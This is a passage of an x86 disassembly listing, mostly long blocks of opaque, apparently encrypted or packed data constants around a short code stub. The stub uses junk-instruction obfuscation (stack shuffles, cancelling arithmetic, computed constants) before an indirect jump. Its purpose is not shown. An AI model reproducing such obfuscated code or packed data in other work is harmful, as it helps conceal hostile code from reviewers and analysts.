		dd 0F796A334h, 761CABDFh, 69B35713h, 1D412A63h,	6E00000Fh
		dd 0F40CA530h, 7B932CBBh, 41CB50Ah, 8FA74087h, 5033CC1Bh
		dd 0ECFBAF69h, 744B3B53h, 0FEC1C3DBh, 8B584D65h, 485E0BF2h
		dd 16C656C1h, 0DDB2423Ch, 0F0778DA9h, 6B1CF63Dh, 465EF7A9h
		dd 51458443h, 0D4988683h, 8096D5C4h, 1CF62DF9h,	6A5B274h
		dd 0C9B8C818h, 0FA07C7F2h, 0DD08DFCAh, 4AE3E0A5h, 45707732h
		dd 782E19Ch, 0B9CF0EC0h, 232054CBh, 9DECDDDh, 0F5B4EEFCh
		dd 5103C3EEh, 809EFB8h,	0C8810000h, 805CE3D4h, 31075DFh
		dd 0D110D7D3h, 0D2FDC2C1h, 96D40512h, 1CF5B10Bh, 3CD6357h
		dd 8D95E886h, 0DA9AC512h, 0C37A1B28h, 128D9DDCh, 4E73B8C5h
		dd 4D784F3Eh, 0AC4A808Dh, 5523252Bh, 2D586F1Bh,	6C7CBB6Dh
		dd 0F911AA39h, 0D40C378Ch, 0D5EA99D0h, 28A28EAAh, 0DA7ED5EFh
		dd 30C41A28h, 81466E6Dh, 464C29CFh, 77B069AFh, 0E2B8Eh
		dd 0B3027C00h, 3A8D021Ah, 0C31889A1h, 4E91122Ah, 0DAE99DB5h
		dd 0C1775E41h, 4D65FEC5h, 0D5ED865Dh, 5F7710D7h, 1D049D2Ah
		dd 55D35A70h, 544E16C6h, 8DA3C8C4h, 1CF63E06h, 6C97205Fh
		dd 0D5E2A4ACh, 3B6AE1A5h, 0B3657C2Ch, 7D16C888h, 78A32065h
		dd 3F7E4540h, 3E7D041Ah, 0D2D61CF6h, 3C490B13h,	1B80740Bh
		dd 0AA438005h, 7CD6537Ah, 1DB6AEh, 0D7600000h, 1CF64941h
		dd 0EA0455D4h, 37E9EEC4h, 0C70B04F8h, 6BA47A88h, 0FD7F7D5Eh
		dd 0D70FFFFFh, 1CF63E4Ch, 5B9A013Ch, 261CAF45h,	47864823h
		dd 0DC757237h, 0C302C1C4h, 238FFCB3h, 0C83C70F8h, 0BDEEFBADh
		dd 9C236070h, 74A4B171h, 340BB130h, 2C69B0B8h, 0D620AF3h
		dd 0FDB30000h, 463951EAh, 0C1C0D871h, 5A4961FAh, 0D0D4EC85h
		dd 0AE957811h, 962FB6F2h, 1EB70E7Eh, 0A8418406h, 35CE1590h
		dd 48BA14Eh, 7F16C655h,	0A3C8F585h, 0F63E068Dh,	1C32811Ch
		dd 1CF63D95h, 8F9C4E10h, 729D2A5Fh, 4D784F3Ah, 47D9C2B6h
		dd 0BCEC8542h, 0AE7CD615h, 0DF8h, 41D7A200h, 301CF649h
		dd 0FFFCDC55h, 0B8C8E7FFh, 42E3F0C7h, 4F65A40Bh, 232071D9h
		dd 7457032h, 16CC0A7Dh,	0E1277452h, 0A856E638h,	1D31Dh
		dd 7CD7C700h, 0F51CF63Eh, 6166233Dh, 0EEF5B0C8h, 1D8276C3h
		dd 942B5A7Dh, 2037CF86h, 0EFBADD13h, 5F4B1CF5h,	66255D88h
		dd 14F23661h, 0FDDB1187h, 0C007829Eh, 0FE119E27h, 0D9EE9BD3h
		dd 667D2840h, 4B703327h, 0BE36290Bh, 274280B1h,	1E1CF55Fh
		dd 4AD5B40h, 0E9AE7C32h, 178h, 1BA8DD93h, 687EA3F0h, 1CF63DE1h
		dd 5F66225Ch, 3570A0ADh, 0D18C15AEh, 5B95ABEAh,	5232062h
		dd 39A5BE11h, 6367754Ah, 616F7C80h, 0AB36749Fh,	8216CC2Bh
		dd 8910264Bh, 416CC2Bh,	52493542h, 56C00FB6h, 39F2A8h
		dd 6C9C0000h, 8F565231h, 86889EDDh, 0F7232068h,	0A6E6F635h
		dd 2FE1E6A7h, 6374404h,	0CC133DC8h, 0D8EF9E16h,	0B33075ADh
		dd 9803E788h, 2D6E4C00h, 56FD32DBh, 0CB17A8h, 0DDC10000h
		dd 0B8F01BA8h, 92CAF5CCh, 0F02F7417h, 81A96844h, 4757A4CFh
		dd 94547F48h, 39525787h, 0A8F9F512h, 0B0F11B41h, 0B3E0792Bh
		dd 14957FBFh, 9AA79AB6h, 0F5DC2C64h, 25A2E71Ch,	654A038Ch
		dd 0B5F10126h, 1943032Eh, 6929546Bh, 6471265Ch,	86482322h
		dd 74733747h, 0C7C3DBh,	0B279995Ah, 4F387169h, 0B94h, 831CABE5h
		dd 0AA3346Bh, 932CB3F2h, 1EB7087Bh, 0AA438206h,	7C28E0C7h
		dd 0F4B4CC65h, 4E3C54EDh, 0C3C6DE77h, 0D7846B04h, 0C6543AC1h
		dd 2BBBB516h, 96C9B8C8h, 6F6624CDh, 0A3CE8021h,	0E2A6D6E3h
		dd 0AA97E987h, 0E9FF0A9Bh, 1CF55262h, 0B7691BDDh, 0B6CCF11Eh
		dd 1CF5522Fh, 9BC61D88h, 411D3DBh, 7912D1D4h, 8DA3C88Bh
		dd 1CF63E06h, 1095BF81h, 1396C6D3h, 3471A9D4h, 0F5E916AFh
		dd 0BB345E5Fh, 0B86358BAh, 0D9270808h, 74391A27h, 0CB000004h
		dd 0BEEF47C6h, 0F9ED1251h, 6A7E3BE9h, 2056636Bh, 2325799Bh
		dd 26ADC312h, 0A116C5BCh, 0FAEE2DDFh, 73AB9DC6h, 5A67741Eh
		dd 38AA0C5h, 7E16C5C7h,	5F0EAFBCh, 0B368DF8h, 355A994Bh
		dd 515E6525h, 0EFF9AD1Bh, 849ABF1Ch, 109B92FDh,	9BA9B678h
		dd 0E570AED9h, 0BC109B92h, 0A24BBDDEh, 87A22679h, 3BBh
		dd 11B3FEF2h, 0F0FEC5C4h, 7E8BF55Ah, 0C7B8C878h, 0C605C5F0h
		dd 0F63E29B0h, 0D5E2A41Ch, 0F63E149Fh, 253B601Ch, 1CF63D9Eh
		dd 0FB495719h, 4297904Ah, 0C9457B88h, 9B1CF5A3h, 0A8BEFDE2h
		dd 231FC896h, 4BF6527h,	0C469B507h, 0A52A28Bh, 0EDA30000h
		dd 762941DAh, 0F1B0C861h, 4A3951EAh, 0C0C4DC75h, 9E856801h
		dd 861FA6E2h, 0EA73E6Eh, 9831B4F6h, 25BE0580h, 0F47B913Eh
		dd 6F16C651h, 0A8DDE575h, 1647F01Bh, 0B2F77431h, 984A0A35h
		dd 0BCFBAD6Dh, 261D24A6h, 3AD39523h, 4BD2E80Dh,	0C616C65Fh
		dd 15C71E8Ch, 0C9366708h, 3DF6748Ah, 9D5F1CF6h,	7629395Eh
		dd 8037BED4h, 0F0B21096h, 1453133Eh, 968077FEh,	2330F210h
		dd 0F7B4B3F3h, 0AD17594h, 0A355B490h, 778DB2F1h, 1096F1F0h
		dd 9BA96Bh, 0AFD7AB91h,	0E2CCBD8h, 1096F7ABh, 7D2E114Bh
		dd 0F540C7DDh, 0F9BB1096h, 5A691D47h, 0B7F70FA8h, 0D8CD0530h
		dd 0CCBCCC0Bh, 0EB7E8F5h, 0C31705Fh, 96F56FF6h,	87CCEA10h
		dd 0CAB88C29h, 2D727F31h, 0C060BD17h, 6C82A716h, 0A6C51E5h
		dd 83919E60h, 0D8661BC1h, 0DD165D55h, 963F4h, 0EBFAB400h
		dd 72453A52h, 0FBC0C1D9h, 86594A62h, 12D1D5EDh,	0F9AF9679h
		dd 859D368Dh, 0D25BE05h, 97AF489Fh, 553CD512h, 510B92A8h
		dd 8C8616C6h, 0C7B8C8FCh, 0B42E3F0h, 0D14F65A4h, 3A23261Ch
		dd 79293978h, 0F823BAEAh, 0C0ED8638h, 0DFECF3B0h, 0BDE8FFAFh
		dd 33725914h, 0F63D9B1Dh, 9AB0D51Ch, 10968013h,	778DCC8Eh
		dd 10967FF0h, 8E9CA96Bh, 45F8A1CCh, 802CB3C9h, 48A11096h
		dd 9381FF29h, 0D284464Eh, 0E53F7D93h, 662816C0h, 561811C0h
		dd 0A790C95Dh, 8CCh, 0BB54631Dh, 42DBECA3h, 0CB647B2Ah
		dd 56EFF0B3h, 0E27B4A3Eh, 246018FFh, 0BCEC049Dh, 36748C25h
		dd 8BFE16AFh, 0FBCA33Ch, 0C65172F9h, 63F3ED16h,	0F01BA8DDh
		dd 0CBF6CDB8h, 0C55B4034h, 3A6A03C0h, 0AE7CD293h, 19E76h
		dd 0AEEDE100h, 1927E5D1h, 6CA5ABB8h, 668BCA31h,	67925556h
		dd 1A7799A7h, 917A981Ch, 0B8B04E84h, 0A59231Fh,	0CB9B6DF4h
		dd 7426E816h, 73FA1035h, 0EE16CB9Bh, 0B0EE1F2Ch, 16CB9B25h
		dd 0F5B5C5FCh, 0F603C3EEh, 4E77910Ah, 59A85671h, 57825949h
		dd 0A36DF40Ah, 26E816CBh, 407C6774h, 26000001h,	0F01BA8DDh
		dd 3C88AFA3h, 0FCD9EB4Bh, 0FDCABFEFh, 3DA2DB64h, 69AEE8FEh
		dd 0CD8F231Fh, 1A3055A2h, 16CB2093h, 0B69FD108h, 4D556D18h
		dd 0BD487E8Bh, 1E16CA94h, 112D586Fh, 0F9A82C13h, 0C0C0EA74h
		dd 0AC8ACEF9h, 17F5A9EFh, 405D8484h, 3BC0A857h,	2B000000h
		dd 0D7823C37h, 0B3F37174h, 8F41012Ch, 316C7C82h, 73758BCAh
		dd 0E4232068h, 9AAAF722h, 8197D6E9h, 16CC12FAh,	70A6B375h
		dd 16CC12E5h, 4BBDDEBCh, 0A856FDA2h, 9587h, 0A8DD3100h
		dd 0CCB8F01Bh, 587DCAF5h, 0F63DBB42h, 3574361Ch, 0F63D981Fh
		dd 4451131Ch, 27529114h, 942DBAEFh, 0F65A2676h,	4F94111Ch
		dd 4AA61C10h, 1954D64Bh, 0A9E46D0Ch, 38ED0342h,	0F232277h
		dd 8AFE0E4Dh, 1E8AA23Bh, 8D0821C7h, 3B7469B2h, 74352h
		dd 0CB1A9400h, 52651A32h, 0DBE0A1B9h, 66792A42h, 0F2F1B5CDh
		dd 0D98F7659h, 657D16ADh, 0ED059E25h, 778F28BFh, 351CB532h
		dd 4EEB7288h, 6C6616C6h, 1AA9DDDCh, 2F3C6981h, 7BBA6C7Bh
		dd 96A3346Bh, 0A8DD09F7h, 0D8CCDC1Bh, 7B91DE09h, 1CF63DF4h
		dd 0EEFBAD6Fh, 0C30085BDh, 55612Ah, 0C6F30000h,	208FBEF6h
		dd 1D47CBE1h, 0FABC2326h, 5C4E5EF3h, 76357C89h,	56DDF318h
		dd 0D116C65Fh, 0A9D41397h, 802937E9h, 0AFAF47D4h, 5B12B3C0h
		dd 103574h, 51113C83h, 558B0E44h, 0B7C71CF6h, 5C5F0F7h
		dd 2128EAF8h, 46F0h, 764F4300h,	9FD1D91h, 0C8DBE1EEh, 3E068DA3h
		dd 827B1CF6h, 646BE9CFh, 0A5B2747Ch, 23624904h,	1FDC8B0Dh
		dd 0F3AFC23h, 0CB8C45D1h, 0F2023F16h, 372330B7h, 0AD124B64h
		dd 0CBD6586Eh, 85471CF5h, 0FE23ECh, 0C8B50000h
		dd 3E068DA3h, 0BF811CF6h, 0F75C11B2h, 418032B5h, 0B7BFD84Dh
		dd 8AC90396h, 0F57AED74h, 99A6681Ch, 59B83E54h,	0EAFA2325h
		dd 3DFD28BFh, 0BAE82230h, 368DF923h, 0FC994B0Bh, 0C7C7D7h
		dd 0C10815D5h, 0F1C6B9EAh, 0C91C8EC6h, 2D6EAC9Eh, 9C41C8DEh
		dd 0FABC16C5h, 8F0C7A48h, 4C745079h, 8EB5A8h, 0FB200000h
		dd 0C5A85EE5h, 0A17D916h, 0CA316C04h, 0B40B7B8Bh, 77BCC989h
		dd 261CDC61h, 0F4915323h, 0B321DECDh, 9F920E8h,	615CA853h
		dd 6000000h, 6AE5D4C8h,	0BBAC3349h, 65271CF5h, 0A3212C57h
		dd 53B8F596h, 0E07AFE14h, 0A8B82325h, 0CFBCE6FDh, 0A3DDEBF8h
		dd 889EDDE2h, 16C62201h, 6B08BA7Ch, 4D3C6744h, 92134B76h
		dd 2223AAC0h, 0DC9E16C6h, 6E2AFF2Ah, 2F9D6B2Dh,	0CE759C6Ch
		dd 6E7EA84Ch, 457DA83Fh, 93537E45h, 0DE9D4E1h, 93000000h
		dd 0F65A21D7h, 0C875501Ch, 7FFFFFEh, 8BCA316Ch,	261CC375h
		dd 285A9423h, 0FB8E395h, 1C32715Eh, 1CF63D99h, 761F4A0Ch
		dd 8399D8C7h, 16C65ED5h, 0C3367367h, 0B5B8BA4Dh, 99D89AA8h
		dd 28C11689h, 1B8807FBh, 0A485430Bh, 5847F697h,	0D850319h
		dd 2CEE1097h, 18AFDDEDh, 0FA0B617Fh, 87029C5Dh,	0B2F10140h
		dd 6981202Dh, 0D37CA73Ch, 0D1F6359Ah, 0CEF9CEC1h, 3DCB010Eh
		dd 0C6723ABDh, 0B795D904h, 0EC0227E4h, 65E68B65h, 0E1111EE0h
		dd 6E861FA4h, 6D72313Ch, 275890BBh, 0D4906590h,	1C2B59C7h
		dd 0AA3556Ch, 22DB0F2h,	0F9ADFAB3h, 687BFEAh, 11F596C1h
		dd 997D0E8Ah, 596C1E02h, 0B8C8D2C0h, 47E8F5CCh,	4A82AD12h
		dd 6B5D885Fh, 1299AFD4h, 8D1CF63Eh, 618C5353h, 0F6E2EFA1h
		dd 0F0570AA5h, 0E17A2CB3h, 0F2798FB4h, 6D1CF63Dh, 3B6E9EABh
		dd 295D6DACh, 0A2AF6F9Ah, 30E6DAFFh, 7DDE5176h,	2F7DC4D1h
		dd 0A7E3F3AAh, 74271320h, 0ABEAF9ACh, 0CBD8EF9Bh, 0E9413EBEh
		dd 0F5A94CD3h, 5305C71Ch, 0A963EA28h, 79B01CF5h, 0FA446054h
		dd 881F47F9h, 0F607D158h, 0E7FD4C1Ch, 1CF60860h, 286719DBh
		dd 0F6078B12h, 3744061Ch, 0DFD0504Bh, 55576F08h, 42435392h
		dd 853DAF0h, 0CCE1CF6h,	0C2132F5Ah, 0DB8C5985h,	0F404DFFh
		dd 0F54B47D1h, 1424D91Ch, 59455291h, 19ACDE42h,	0D75F5380h
		dd 5C457C1Bh, 97499C0Eh, 0A412548Ah, 17591CF5h,	0AE7C08EFh
		dd 0FFFF2954h, 0A8DDFEFFh, 3DF1788Eh, 0AA6C1CF6h, 22325FF8h
		dd 31B8CE62h, 0AC1CF63Eh, 4D0D38EAh, 4E951040h,	3B8CFF0Fh
		dd 0E7B8B2Eh, 3B6A7AB9h, 10F497A4h, 942B5969h, 0B09CA969h
		dd 901020EBh, 1F5E1E49h, 0F63D8209h, 2E3BFD1Ch,	0FD3C8BFEh
		dd 0FE29BEEDh, 8C24313Eh, 0AE7CD765h, 96215E6Eh, 0B39EAB6Bh
		dd 6Ch,	8DA3C85Dh, 1CF63E06h, 11B2BF81h, 20306F5Ch, 32B9CF63h
		dd 0AD1CF63Eh, 4E0E39EBh, 0C7D7FC41h, 0BFF502C5h, 23261D3Ch
		dd 0BAAEEDAFh, 0CABEC2D5h, 623DA7EBh, 0F09D2432h, 0B9DE818Eh
		dd 1DF77E94h, 0B07216C7h, 81505CA3h, 16476833h,	0D1546AA9h
		dd 441CF6FCh, 0C84F4382h, 0D373CB32h, 0B86F6674h, 42F62924h
		dd 5EF72835h, 89000000h, 8BCA316Ch, 89B40B7Bh, 6177BCC9h
		dd 23261CDEh, 84F3261Ah, 7AA38990h, 9D5F6Dh, 6D9CBDBh
		dd 0C70E1BDBh, 0F5C2BD72h, 0CA1D92CAh, 2C6FAD9Fh, 12CBBF4h
		dd 44908F41h, 0B6255857h, 0C1DE6177h, 0F51A1CF6h, 970458DFh
		dd 0E9FEB110h, 34F6FEBEh, 3B489F0Ah, 0CF646B2Dh, 0EFFCCBBFh
		dd 93A3C8E9h, 179ECE11h, 921CF63Eh, 0E0922958h,	0E1E6A3D3h
		dd 0BC0B7EB6h, 0FCE39A23h, 0E9FEADBDh, 0BE0986BEh, 0A4BAFF0Ch
		dd 2320626Ah, 205E894Bh, 16CC1995h, 6425356Ch, 3566525Fh
		dd 56F62AD3h, 350FA8h, 6CB90000h, 758BCA31h, 23206873h
		dd 63E89DADh, 0B2729D22h, 815D500h, 5F938FAh, 87E3B1ACh
		dd 0DA0B18F0h, 0CC1C119Ch, 910AE816h, 56F44E77h, 101B3A8h
		dd 0C85D0000h, 68D4AFA3h, 7ECC717Fh, 0F559C74Eh, 5D64201Ch
		dd 56869355h, 31699453h, 0B436E75h, 50EEED9Eh, 9AC51A89h
		dd 0EB56CCDAh, 82BAE597h, 730A6407h, 0C419AB47h, 9B5B7912h
		dd 511CF60Dh, 38F162Ch,	0EC0A1CF6h, 42FFB852h, 0CEDB8D1Fh
		dd 43DCEB9Eh, 3E697E2Bh, 0B4F3D895h, 0CD546A8Fh, 481CF587h
		dd 95479E0Eh, 0A1C85288h, 8749231Fh, 0C32865EEh, 29B36E84h
		dd 5C961CF8h, 1F6C972Eh, 9EB18209h, 893BFD10h, 1C8898D7h
		dd 90142CC5h, 0B127AEC4h, 580109Eh, 0CBD393BEh,	1DAADF09h
		dd 38B2C56Bh, 69A26388h, 17F80h, 7DED000h, 8E59566Eh, 17ACDDF5h
		dd 0A225667Eh, 2EB5F109h, 15CBB295h, 0A1B95291h, 2941DAE1h
		dd 0B3CB647Bh, 7158F1F6h, 4927AEC4h, 0A8A216C6h, 0BEA9DD18h
		dd 32B077C3h, 32712338h, 56E3BD3Eh, 1C2938B4h, 0A320657Dh
		dd 8C5B5464h, 919E2162h, 0F1B5C5F2h, 6CDFE5F2h,	1956E31h
		dd 0ED91E0BEh, 0E4E6FC3Bh, 55231FAFh, 9F2A6893h, 7616CB5Ah
		dd 0DC050398h, 41A85635h, 0A4h,	1BA8DDEBh, 9D8CCDCh, 1793CBFCh
		dd 0A767A5D0h, 721CF642h, 5FC25437h, 7724785Fh,	0EFFF2CC5h
		dd 8EFF29BEh, 89FC2C39h, 37660F3Ah, 0E97389C8h,	6A231F75h
		dd 0D7860FA8h, 7993A9E8h, 1A1CF7FAh, 0E4F41958h, 0E2121FA6h
		dd 84E7A7A6h, 0C1D0BDB3h, 0D500B250h, 0B2CA6315h, 3C49EFF6h
		dd 20638853h, 9EFEE7h, 0B1EF0000h, 3A758D26h, 8DFC14ADh
		dd 6859D36h, 941028C1h,	0EAD1B44Dh, 0D26B7A2Eh,	5AF3CABAh
		dd 0E47D4042h, 710AD9CCh, 40C7DD8Ah, 0BB16C649h, 0A9DD31C1h
		dd 0B0DBE2A2h, 8DA53EF0h, 4432CB18h, 68DA3C8h, 7B1CF63Eh
		dd 6D92A6F9h, 3C5A626Ah, 88C6C329h, 2633E513h, 934B3F6h
		dd 760FD4D1h, 39C2B5Eh,	0FE29BEEBh, 0C46508C0h,	0D0CB099Ch
		dd 657A2B3Bh, 667D2858h, 5BF3327h, 7E638554h, 0F704B601h
		dd 7E454058h, 57681B53h, 910AE82Ch, 34CD1A8Fh, 2F5A691Ch
		dd 346h, 6E7CD800h, 0E914A3DDh,	0C4EFF4B1h, 9CC71E8Ch
		dd 729D2464h, 4C774E3Ah, 26519014h, 0FF2ABDEEh,	0D601C6C7h
		dd 0ABD6E19Eh
		db 0EEh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 55EC3FF0h
		not	ecx
		sub	ecx, 35801469h
		add	ecx, 919C352Eh
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	edx
		mov	edx, 751E4443h
		sub	[esp+4], edx
		pop	edx
		pop	dword ptr [edx+8]
		add	dword ptr [edx+8], 751E4443h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5606CE
; ---------------------------------------------------------------------------
		db 0E0h, 0B6h, 4Ch
		dd 0B1B80C07h, 3062FF6h, 0C5E0FFC5h, 0F2716B08h, 18466E9Ah
		dd 2F3927D7h, 0B83281AEh, 3292DEh, 8A48F861h, 3D6B9BB3h
		dd 4B74A6AAh, 220C809Bh, 0BE2C0F18h, 0D36F7CE1h, 39010760h
		dd 0C11B8CEBh, 6B7E4085h, 226FFAB7h, 9E3999B8h,	6728D8C1h
		dd 0D8350534h, 0D445A4D6h, 0C2B4515h, 3A7E5639h, 0E04C01E7h
		dd 0E20A0C47h, 0AB17E63Bh, 0F2171434h, 8E3C1EA8h, 0E9348141h
		dd 54h,	77F9CC00h, 0
		dd 4AC51C57h, 36614843h, 0A7A5ADF9h, 75528C88h,	0BE00B7FBh
		dd 0E5ADF99Ch, 9D89937Eh, 1DF4C700h, 19606392h,	0DEh, 9	dup(0)
		dd 0AA3E9h, 0F93A6800h,	3E9062Fh, 68FFFA86h, 62FFA5Ch
		dd 0FA85F9E9h, 0FB5C68FFh, 0EFE9062Fh, 68FFFA85h, 62FFBEFh
		dd 0FA85E5E9h, 0FCA168FFh, 0DBE9062Fh, 68FFFA85h, 62FFD7Fh
		dd 0FA85D1E9h, 0FE1D68FFh, 0C7E9062Fh, 68FFFA85h, 630002Bh
		dd 0FA85BDE9h, 10068FFh, 0B3E90630h, 0C0FFFA85h, 0E29A3428h
		dd 0FDB54F1Fh, 1AD26C06h, 3AF28CECh, 3410AACAh,	561EE66Ah
		dd 750104BCh, 96C423DBh, 0B2BE44FCh, 24193218h,	289F7511h
		dd 564111A6h, 0EF87C88h, 3C264EB6h, 639990A1h, 4816C50Eh
		dd 0A1C0B7BBh, 408C26ACh, 0B160CB24h, 92401D02h, 6102D83Fh
		dd 9F09C96Ch, 7283EE28h, 0ABC53D7Bh, 0F3A95911h, 69A2FCC9h
		dd 7423345Dh, 673F328Fh, 9ECBC372h, 0A489F428h,	0E3B119F0h
		dd 15B5220h, 64135CB1h,	70656B96h, 289ED2C5h, 947E8FFAh
		dd 0EEE302F9h, 2A6FE1FFh, 0D8A655C0h, 82B3A82Ah, 3522701Eh
		dd 671FB9CAh, 9BEBD59Bh, 594EFD46h, 24461511h, 321D238Eh
		dd 176A878Ah, 8C871BDh,	0EBFD0000h, 0E21FD771h,	0C93AF28Ch
		dd 0AF570FA9h, 8D772FC9h, 0A7714DE7h, 0F993E123h, 18B2C441h
		dd 39D38760h, 55EF8181h, 0D461566Fh, 0EB289F75h, 0CB378656h
		dd 0D711F6A5h, 1233D00Dh, 0DD358F86h, 1B14B25h,	0BFB463ACh
		dd 2445D7ABh, 0C43D0B14h, 3025C0AAh, 2899D705h,	773D7BBAh
		dd 7D79D8FEh, 0F2715B6Ch, 28999247h, 59AC7AA9h,	1306261Dh
		dd 0FF778E5Ch, 91DA5B50h, 72DD2899h, 1EA3277Bh,	392DD911h
		dd 65000000h, 83B2A756h, 34226F7Dh, 479CD2C9h, 82814FFEh
		dd 0BC6B06F0h, 6F7D6EC7h, 0EFE65122h, 56D7DBD0h, 6DD82445h
		dd 0A7350483h, 8BBB2899h, 381EAC98h, 0ADB2D911h, 0EA000000h
		dd 83B2A756h, 34226F7Dh, 7CFF362Bh, 55C0226Fh, 0F30F4D44h
		dd 0E700CE7Dh, 0CA227C73h, 0F8503A3Ah, 247C660Ah, 19F892DEh
		dd 226F7FA5h, 720C649Eh, 3E2848BAh, 0A15099EEh,	455F06ACh
		dd 0A640AB24h, 0A958A1F6h, 6DEC9EB4h, 49F8632Ah, 0F5EC8A7Bh
		dd 78FC08D6h, 96DE26DEh, 637AC990h, 0DA268064h,	7A6h, 0B54F0DDBh
		dd 0D06A04FDh, 0ED87EB18h, 0DA7D135h, 2BC5AF55h, 301854Fh
		dd 0E61FD771h, 0A93EF690h, 0A35F17B1h, 344D33CDh, 9F76F63Fh
		dd 6434C928h, 0F87C8856h, 0B29CDC2Ah, 22E22017h, 31D5A352h
		dd 8E465047h, 9062FC74h, 72AA7156h, 0CBA477Dh, 418ADF15h
		dd 2B159D92h, 729A2446h, 1FCEDF8Fh, 0C7BEB051h,	7B4BEE6Dh
		dd 75A5289Ah, 0C349682h, 0D79CD912h, 0D000000h,	8D164828h
		dd 8F8641EDh, 0A5CB3737h, 0D3A163BBh, 7F546AE9h, 0B949226Fh
		dd 0D5841DB7h, 6F8055E0h, 8FF6A22h, 4E3838CAh, 0B7BD4715h
		dd 53B32CDh, 0C3B867B0h, 24455EEFh, 7B665D0h, 0A0D26358h
		dd 7AE52899h, 99A1B085h, 0A59C0728h, 0D234029Bh, 2C4DBCA6h
		dd 9C8F329h, 396F6677h,	8BDAC7E4h, 0D61BE39h, 0D09E4DFCh
		dd 0B8533D31h, 0D3055CC1h, 1F8A2A6Dh, 1262A270h, 3044C078h
		dd 6392392Ah, 6AB61064h, 6A6h, 0B54F0DDBh, 0D06A04FDh
		dd 0ED87EB18h, 0DA7D135h, 2BC5AF55h, 301854Fh, 0E61FD771h
		dd 0A93EF690h, 0A35F17B1h, 344D33CDh, 9F77F63Fh, 6434C928h
		dd 18EACD37h, 81B4A958h, 36226F7Dh, 5C0BBACBh, 6F7CCE67h
		dd 8F86F122h, 3B35CD85h, 0CB37CFA1h, 9F63BBA5h,	0E15837D1h
		dd 1A226F7Ch, 0D8CD7CC5h, 24408C08h, 0A16F1E89h, 0BD750F61h
		dd 0DF976E45h, 778C5AF5h, 657611FBh, 0D0D62B7Bh, 7F2E3F33h
		dd 7564988Ah, 0A8AE192Ah, 6462C2C5h, 13DE2A84h,	48000006h
		dd 6A22BCA0h, 853DD797h, 0A25AF47Eh, 0C27A1464h, 0BC983242h
		dd 0DE966EF2h, 0FD798C44h, 1E3CAB63h, 3A36CC84h, 0ACA1BAA0h
		dd 289F7889h, 37C9992Eh, 231207CBh, 94226F7Dh, 84691829h
		dd 0A363E301h, 6B96F0D5h, 0BA126C63h, 0AB792848h, 0CC261D5Bh
		dd 6B41343Eh, 713FD997h, 0D2E73159h, 1677h, 0A756AF00h
		dd 5F492BD9h, 7D66CFC4h, 0EE59226Fh, 14FC5F7h, 10030000h
		dd 226F7D29h, 85347DD2h, 408C5590h, 0B05FCA24h,	0A15020E2h
		dd 4C4331D3h, 0F8788A42h, 2069BE0Eh, 63A67C71h,	703E2A75h
		dd 74E6DD91h, 0C2740309h, 7BD56462h, 5612Fh, 0A529600h
		dd 2549B870h, 4230D38Bh, 6216F0A8h, 80F410C8h, 0BC400AE6h
		dd 0DA922C48h, 0F9B14B2Bh, 1AD26CEEh, 8EE88E8h,	793BFAEFh
		dd 0E77C289Fh, 0A5CB3717h, 0D19F63BBh, 0FD738FE7h, 0DC53A413h
		dd 0C772063Ah, 7F690BF9h, 0B1CABD5Fh, 0DAB0A3ADh, 0E0AE4828h
		dd 0D2E80AEAh, 7E6h, 0B2431E00h, 81000000h, 0F2A1EA3Fh
		dd 408BD5FDh, 0E21FED24h, 584218CFh, 27C2ACBDh,	0A453BE30h
		dd 5C462ED6h, 6273FF04h, 847E4C6Bh, 0B9CB3218h,	9F2171C4h
		dd 0F6DB4628h, 0D4A25D63h, 9A344531h, 0A15020E2h, 4E4533D3h
		dd 64FA4F4h, 9E8B6257h,	0C12C2A6Fh, 0B7A34412h,	2FD3A1C0h
		dd 13EFA741h, 8B3A735Dh, 70619F96h, 0BEB52022h,	3BEA3388h
		dd 46582446h, 2C329D24h, 6A87C755h, 834E9AF4h, 0B8000004h
		dd 0DA922C30h, 0F5AD4727h, 12CA640Eh, 32EA84F4h, 2C08A2D2h
		dd 4E26DE62h, 6D09FCB4h, 8ECC1BD3h, 0AAC63CF4h,	1C112A10h
		dd 289F7A19h, 4339099Eh, 124h, 0A1EA3F81h, 8BD5FDF2h, 729A2440h
		dd 593D1175h, 0A5E0082Ah, 0FE0FAA94h, 0EF81814Fh, 0B659D55h
		dd 767CD121h, 24D3E48Ch, 0D9C3AB56h, 0E094703Eh, 45645BF6h
		dd 703A9D50h, 5CA7752Ah, 0AC912C16h, 3CAC3731h,	0C7E756Dh
		dd 0DE24F2A1h, 0C240F892h, 1F74C4AEh, 383227D6h, 0E9244577h
		dd 0E813787Eh, 0DC366A86h, 3E590h, 8ECE1A00h, 0A9C53CF4h
		dd 0C6AC570Fh, 0E692742Ch, 470944Ch, 40C48E6Ah,	5E16B0C4h
		dd 7D35CFA7h, 9E56F06Ah, 8C720C64h, 7BB77E73h, 7308289Fh
		dd 0A5CB37A3h, 0D19F63BBh, 5C4F59E7h, 0CB377C86h, 3401F6A5h
		dd 8B226F7Dh, 0A7750F20h, 0D2E70E23h, 67ADh, 0B2501E00h
		dd 3F6FC7BEh, 0FDF2A1EAh, 244532ABh, 9A9B903Fh,	1D2899CBh
		dd 0E320CDB2h, 9344C4FFh, 10BF2A9Ch, 78BDB261h,	3F2899C7h
		dd 649FDDD4h, 0A595740Eh, 4E2899C7h, 6A22BCB4h,	0B6EFD999h
		dd 0B5FA49D1h, 603E234Dh, 53E2D798h, 64289A54h,	0BFF1E8F9h
		dd 33Ah, 0A3928736h, 14289A54h,	715B17ECh, 76CEC5D6h, 0FB5F8856h
		dd 3921C604h, 2945BC8Ah, 53ADA43Fh, 0CF6907FBh,	0D79B6836h
		dd 7D023328h, 4AB5226Fh, 83ED1553h, 0AFC14199h,	0A106515h
		dd 0F8937DDDh, 274338E7h, 0EB244559h, 80FD1106h, 696003B9h
		dd 69A28CF7h, 220C6A9Bh, 0E2B9087h, 0E2289A09h,	0F7D3BFB2h
